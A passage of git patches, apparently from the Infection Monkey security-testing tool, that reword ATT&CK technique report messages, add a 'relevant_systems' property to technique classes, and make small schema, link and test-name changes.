+31,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [AWS_COLLECTOR], - "title": "AWS collector", + "title": "AWS Collector", "safe": True, "info": "If on AWS, collects more information about the AWS instance " "currently running on.", @@ -40,7 +40,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [HOSTNAME_COLLECTOR], - "title": "Hostname collector", + "title": "Hostname Collector", "safe": True, "info": "Collects machine's hostname.", "attack_techniques": ["T1082", "T1016"], @@ -48,7 +48,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [PROCESS_LIST_COLLECTOR], - "title": "Process list collector", + "title": "Process List Collector", "safe": True, "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"], @@ -56,7 +56,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { { "type": "string", "enum": [AZURE_CRED_COLLECTOR], - "title": "Azure credential collector", + "title": "Azure Credential Collector", "safe": True, "info": "Collects password credentials from Azure VMs", "attack_techniques": ["T1003", "T1005"], From f9e994d8f8711ad2ce1a589aacb7572ff92ec4e1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 16:13:34 +0530 Subject: [PATCH 195/454] island: Update doc link for PowerShell exploiter --- .../cc/services/config_schema/definitions/exploiter_classes.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 981756bc7..92898fdad 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -163,7 +163,7 @@ EXPLOITER_CLASSES = { "computers.", "safe": True, "link": "https://www.guardicore.com/infectionmonkey" - "/docs/reference/exploiters/", # TODO: Change link once documentation is updated + "/docs/reference/exploiters/powershell", }, ], } From ba2207b21dd298001a2a4475cada73452e3cdc8c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 16:16:46 +0530 Subject: [PATCH 196/454] island: Remove unneeded function to get reverse schema --- .../config_schema/config_schema_per_attack_technique.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index b00c378f0..b97a1bf3e 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -3,11 +3,7 @@ from typing import Dict, List from monkey_island.cc.services.config_schema.config_schema import SCHEMA -def get_reverse_config_schema(): - return _get_config_schema_per_attack_technique() - - -def _get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: +def get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: """ :return: dictionary mapping each attack technique to relevant config fields; example - { From 67b23c42bfac2baf967ef38dceb8989b9972d547 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Sep 2021 07:44:54 -0400 Subject: [PATCH 197/454] Tests: Simplify test names in test_string_list_encryptor.py --- .../utils/field_encryptors/test_string_list_encryptor.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index 1417d0cbe..53b004401 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -12,13 +12,14 @@ def uses_encryptor(data_for_tests_dir): initialize_encryptor(data_for_tests_dir) -def test_string_list_encryptor(uses_encryptor): +def test_encryption_and_decryption(uses_encryptor): encrypted_list = StringListEncryptor.encrypt(MOCK_STRING_LIST) assert not encrypted_list == MOCK_STRING_LIST decrypted_list = StringListEncryptor.decrypt(encrypted_list) assert decrypted_list == MOCK_STRING_LIST -def test_string_list_encryptor__empty_list(uses_encryptor): +def test_empty_list(uses_encryptor): + # Tests that no errors are raised encrypted_list = StringListEncryptor.encrypt(EMPTY_LIST) StringListEncryptor.decrypt(encrypted_list) From 9564fb1aaac328b51f2eca333841f5fb31a29633 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 18:23:17 +0530 Subject: [PATCH 198/454] island: Move T1216's details from T1216.py to attack_schema.py so that it's shown in the config instead of the ATT&CK report --- .../cc/services/attack/attack_schema.py | 7 ++++--- .../cc/services/attack/technique_reports/T1216.py | 12 ++---------- 2 files changed, 6 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index e11de8d96..6db87d4fb 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -214,9 +214,10 @@ SCHEMA = { "value": False, "necessary": False, "link": "https://attack.mitre.org/techniques/T1216", - "description": "Adversaries may use scripts signed with " - "trusted certificates to " - "proxy execution of malicious files on Windows systems.", + "description": "Adversaries may use scripts signed with trusted certificates " + "to proxy execution of malicious files on Windows systems. This behavior could " + "be abused by adversaries to execute malicious files that could bypass " + "application control and signature validation on systems.", }, }, }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 7ef32c559..fd69417df 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -6,22 +6,14 @@ class T1216(PostBreachTechnique): tech_id = "T1216" unscanned_msg = ( "Monkey didn't attempt to execute an arbitrary program with the help of a " - + "pre-existing signed script since it didn't run on any Windows machines. " - + "If successful, this behavior could be abused by adversaries to execute malicious " - "files that could " + "bypass application control and signature validation on " - "systems." + "pre-existing signed script since it didn't run on any Windows machines. " ) scanned_msg = ( "Monkey attempted to execute an arbitrary program with the help of a " - + "pre-existing signed script on Windows but failed. " - + "If successful, this behavior could be abused by adversaries to execute malicious " - "files that could " + "bypass application control and signature validation on " - "systems." + "pre-existing signed script on Windows but failed. " ) used_msg = ( "Monkey executed an arbitrary program with the help of a pre-existing signed script " "on Windows. " - + "This behavior could be abused by adversaries to execute malicious files that could " - + "bypass application control and signature validation on systems." ) pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] From 8e733a84409303e75649433ff310944a5fc9cfa5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 18:30:35 +0530 Subject: [PATCH 199/454] island: Add `relevant_systems` property to attack techniques that run on specific systems And remove hardcoded "since it didn't run on any ... systems" from the unscanned message for those techniques --- .../cc/services/attack/technique_reports/T1053.py | 9 ++++----- .../cc/services/attack/technique_reports/T1075.py | 5 ++--- .../cc/services/attack/technique_reports/T1086.py | 5 +++-- .../cc/services/attack/technique_reports/T1146.py | 5 ++--- .../cc/services/attack/technique_reports/T1154.py | 3 ++- .../cc/services/attack/technique_reports/T1156.py | 5 ++--- .../cc/services/attack/technique_reports/T1168.py | 5 ++--- .../cc/services/attack/technique_reports/T1197.py | 5 ++--- .../cc/services/attack/technique_reports/T1216.py | 3 ++- 9 files changed, 21 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py index 3a10e92f7..c6420be0d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py @@ -4,9 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1053(PostBreachTechnique): tech_id = "T1053" - unscanned_msg = ( - "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines." - ) - scanned_msg = "Monkey tried scheduling a job on the Windows system but failed." - used_msg = "Monkey scheduled a job on the Windows system." + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't try scheduling a job on any Windows system." + scanned_msg = "Monkey tried scheduling a job on a Windows system but failed." + used_msg = "Monkey scheduled a job on a Windows system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 372ec35b0..4dddb9e9c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -5,9 +5,8 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1075(AttackTechnique): tech_id = "T1075" - unscanned_msg = ( - "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines." - ) + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't try to use pass the hash attack." scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." used_msg = "Monkey successfully used hashed credentials." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index eaaa7a155..253dc3d8d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -5,9 +5,10 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1086(AttackTechnique): tech_id = "T1086" - unscanned_msg = "Monkey didn't run powershell since it didn't run on any Windows machines." + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't run PowerShell." scanned_msg = "" - used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." + used_msg = "Monkey successfully ran PowerShell commands on exploited machines in the network." query = [ { diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index 951233418..d0b8cb4b5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -4,9 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1146(PostBreachTechnique): tech_id = "T1146" - unscanned_msg = ( - "Monkey didn't try clearing the command history since it didn't run on any Linux machines." - ) + relevant_systems = ["Linux"] + unscanned_msg = "Monkey didn't try clearing the command history." scanned_msg = "Monkey tried clearing the command history but failed." used_msg = "Monkey successfully cleared the command history (and then restored it back)." pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py index 3e7cb677b..7a1375208 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py @@ -4,7 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1154(PostBreachTechnique): tech_id = "T1154" - unscanned_msg = "Monkey didn't use the trap command since it didn't run on any Linux machines." + relevant_systems = ["Linux"] + unscanned_msg = "Monkey didn't use the trap command." scanned_msg = "Monkey tried using the trap command but failed." used_msg = "Monkey used the trap command successfully." pba_names = [POST_BREACH_TRAP_COMMAND] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 2dd6e03af..f9c5c5020 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -4,9 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1156(PostBreachTechnique): tech_id = "T1156" - unscanned_msg = ( - "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines." - ) + relevant_systems = ["Linux"] + unscanned_msg = "Monkey didn't try modifying bash startup files." scanned_msg = "Monkey tried modifying bash startup files but failed." used_msg = "Monkey successfully modified bash startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py index a0cc0ee78..9a2b7547f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py @@ -4,9 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1168(PostBreachTechnique): tech_id = "T1168" - unscanned_msg = ( - "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines." - ) + relevant_systems = ["Linux"] + unscanned_msg = "Monkey didn't try scheduling a job on Linux." scanned_msg = "Monkey tried scheduling a job on the Linux system but failed." used_msg = "Monkey scheduled a job on the Linux system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 1de5f3080..1d16a08ef 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -4,9 +4,8 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1197(AttackTechnique): tech_id = "T1197" - unscanned_msg = ( - "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines." - ) + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't try to use any bits jobs." scanned_msg = "Monkey tried to use bits jobs but failed." used_msg = "Monkey successfully used bits jobs at least once in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index fd69417df..24cab65d8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -4,9 +4,10 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1216(PostBreachTechnique): tech_id = "T1216" + relevant_sytems = ["Windows"] unscanned_msg = ( "Monkey didn't attempt to execute an arbitrary program with the help of a " - "pre-existing signed script since it didn't run on any Windows machines. " + "pre-existing signed script. " ) scanned_msg = ( "Monkey attempted to execute an arbitrary program with the help of a " From b0b0f515d0f2531d3ec16c517eb05940215d4e60 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 19:15:06 +0530 Subject: [PATCH 200/454] island: Add abstract property `relevant_systems` to AttackTechnique and declare it for all techniques left --- .../services/attack/technique_reports/T1003.py | 1 + .../services/attack/technique_reports/T1005.py | 1 + .../services/attack/technique_reports/T1016.py | 1 + .../services/attack/technique_reports/T1018.py | 1 + .../services/attack/technique_reports/T1021.py | 1 + .../services/attack/technique_reports/T1035.py | 6 ++---- .../services/attack/technique_reports/T1041.py | 1 + .../services/attack/technique_reports/T1059.py | 3 ++- .../services/attack/technique_reports/T1064.py | 1 + .../services/attack/technique_reports/T1065.py | 1 + .../services/attack/technique_reports/T1082.py | 1 + .../services/attack/technique_reports/T1087.py | 1 + .../services/attack/technique_reports/T1090.py | 1 + .../services/attack/technique_reports/T1099.py | 1 + .../services/attack/technique_reports/T1105.py | 1 + .../services/attack/technique_reports/T1106.py | 1 + .../services/attack/technique_reports/T1107.py | 1 + .../services/attack/technique_reports/T1110.py | 1 + .../services/attack/technique_reports/T1136.py | 1 + .../services/attack/technique_reports/T1145.py | 5 +++-- .../services/attack/technique_reports/T1146.py | 9 ++++++--- .../services/attack/technique_reports/T1158.py | 1 + .../services/attack/technique_reports/T1166.py | 6 ++---- .../services/attack/technique_reports/T1188.py | 1 + .../services/attack/technique_reports/T1210.py | 1 + .../services/attack/technique_reports/T1216.py | 2 +- .../services/attack/technique_reports/T1222.py | 1 + .../services/attack/technique_reports/T1504.py | 10 ++++------ .../attack/technique_reports/__init__.py | 18 +++++++++++++++++- 29 files changed, 58 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d79aa7575..79edfc8fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -6,6 +6,7 @@ from monkey_island.cc.services.reporting.report import ReportService class T1003(AttackTechnique): tech_id = "T1003" + relevant_systems = ["Linux", "Windows"] unscanned_msg = ( "Monkey tried to obtain credentials from systems in the network but didn't " "find any or failed." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 5aa2f4ad8..2a9ecfded 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1005(AttackTechnique): tech_id = "T1005" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't gather any sensitive data from local system." scanned_msg = "" used_msg = "Monkey successfully gathered sensitive data from local system." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 3ff4544d2..240b38b18 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1016(AttackTechnique): tech_id = "T1016" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't gather network configurations." scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index 1495911bd..f78718de7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1018(AttackTechnique): tech_id = "T1018" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't find any machines on the network." scanned_msg = "" used_msg = "Monkey found machines on the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 4e668f601..e829098fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -6,6 +6,7 @@ from monkey_island.cc.services.attack.technique_reports.technique_report_tools i class T1021(AttackTechnique): tech_id = "T1021" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try to login to any remote services." scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." used_msg = "Monkey successfully logged into remote services on the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index cb8775fc4..daba462fe 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -3,10 +3,8 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import U class T1035(UsageTechnique): tech_id = "T1035" - unscanned_msg = ( - "Monkey didn't try to interact with Windows services since it didn't run on " - "any Windows machines." - ) + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't try to interact with Windows services." scanned_msg = "Monkey tried to interact with Windows services, but failed." used_msg = "Monkey successfully interacted with Windows services." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 692a41e8b..d13f557fb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1041(AttackTechnique): tech_id = "T1041" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't exfiltrate any info through command and control channel." scanned_msg = "" used_msg = "Monkey exfiltrated info through command and control channel." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 6d7940718..e4301d61b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -5,7 +5,8 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1059(AttackTechnique): tech_id = "T1059" - unscanned_msg = "Monkey didn't exploit any machines to run commands at." + relevant_systems = ["Linux", "Windows"] + unscanned_msg = "Monkey didn't exploit any machines to run commands on." scanned_msg = "" used_msg = "Monkey successfully ran commands on exploited machines in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index d8c723053..6af7fb7de 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import U class T1064(UsageTechnique): tech_id = "T1064" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't run scripts or tried to run and failed." scanned_msg = "" used_msg = "Monkey ran scripts on machines in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index edc35b23a..7615a46c2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -6,6 +6,7 @@ from monkey_island.cc.services.config import ConfigService class T1065(AttackTechnique): tech_id = "T1065" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "" scanned_msg = "" used_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index a9409d4bc..5d5246187 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1082(AttackTechnique): tech_id = "T1082" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't gather any system info on the network." scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py index 6c42fea74..a4012dda3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1087(PostBreachTechnique): tech_id = "T1087" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try to get a listing of user accounts." scanned_msg = "Monkey tried to get a listing of user accounts but failed to do so." used_msg = "Monkey got a listing of user accounts successfully." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index c5b0a9eed..aa172b87d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1090(AttackTechnique): tech_id = "T1090" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" used_msg = "Monkey used connection proxy to communicate with machines on the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py index 59daea695..4a13ba073 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1099(PostBreachTechnique): tech_id = "T1099" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try changing any file's time attributes." scanned_msg = "Monkey tried changing a file's time attributes but failed." used_msg = "Monkey successfully changed a file's time attributes." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 225efcda8..80700edc5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1105(AttackTechnique): tech_id = "T1105" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try to copy files to any systems." scanned_msg = "Monkey tried to copy files, but failed." used_msg = "Monkey successfully copied files to systems on the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index 14019634a..5f23ee94e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -3,6 +3,7 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import U class T1106(UsageTechnique): tech_id = "T1106" + relevant_systems = ["Windows"] unscanned_msg = "Monkey didn't try to directly use WinAPI." scanned_msg = "Monkey tried to use WinAPI, but failed." used_msg = "Monkey successfully used WinAPI." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index 713fffb24..c1555f5dd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1107(AttackTechnique): tech_id = "T1107" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "" scanned_msg = "Monkey tried to delete files on systems in the network, but failed." used_msg = "Monkey successfully deleted files on systems in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 2d1702b64..30f4d8508 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -6,6 +6,7 @@ from monkey_island.cc.services.attack.technique_reports.technique_report_tools i class T1110(AttackTechnique): tech_id = "T1110" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try to brute force any services." scanned_msg = "Monkey tried to brute force some services, but failed." used_msg = "Monkey successfully used brute force in the network." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index d2be05a9b..37537776d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1136(PostBreachTechnique): tech_id = "T1136" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try creating a new user on the network's systems." scanned_msg = "Monkey tried creating a new user on the network's systems, but failed." used_msg = "Monkey created a new user on the network's systems." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 818691bd0..5fea316aa 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -5,9 +5,10 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1145(AttackTechnique): tech_id = "T1145" - unscanned_msg = "Monkey didn't find any shh keys." + relevant_systems = ["Linux", "Windows"] + unscanned_msg = "Monkey didn't find any SSH keys." scanned_msg = "" - used_msg = "Monkey found ssh keys on machines in the network." + used_msg = "Monkey found SSH keys on machines in the network." # Gets data about ssh keys found query = [ diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index d0b8cb4b5..98a725dcd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -5,9 +5,12 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1146(PostBreachTechnique): tech_id = "T1146" relevant_systems = ["Linux"] - unscanned_msg = "Monkey didn't try clearing the command history." - scanned_msg = "Monkey tried clearing the command history but failed." - used_msg = "Monkey successfully cleared the command history (and then restored it back)." + unscanned_msg = "Monkey didn't try clearing the command history on a Linux system." + scanned_msg = "Monkey tried clearing the command history on a Linux system but failed." + used_msg = ( + "Monkey successfully cleared the command history on a Linux system (and then " + "restored it back)." + ) pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py index f58ef371a..22006d5db 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1158(PostBreachTechnique): tech_id = "T1158" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't 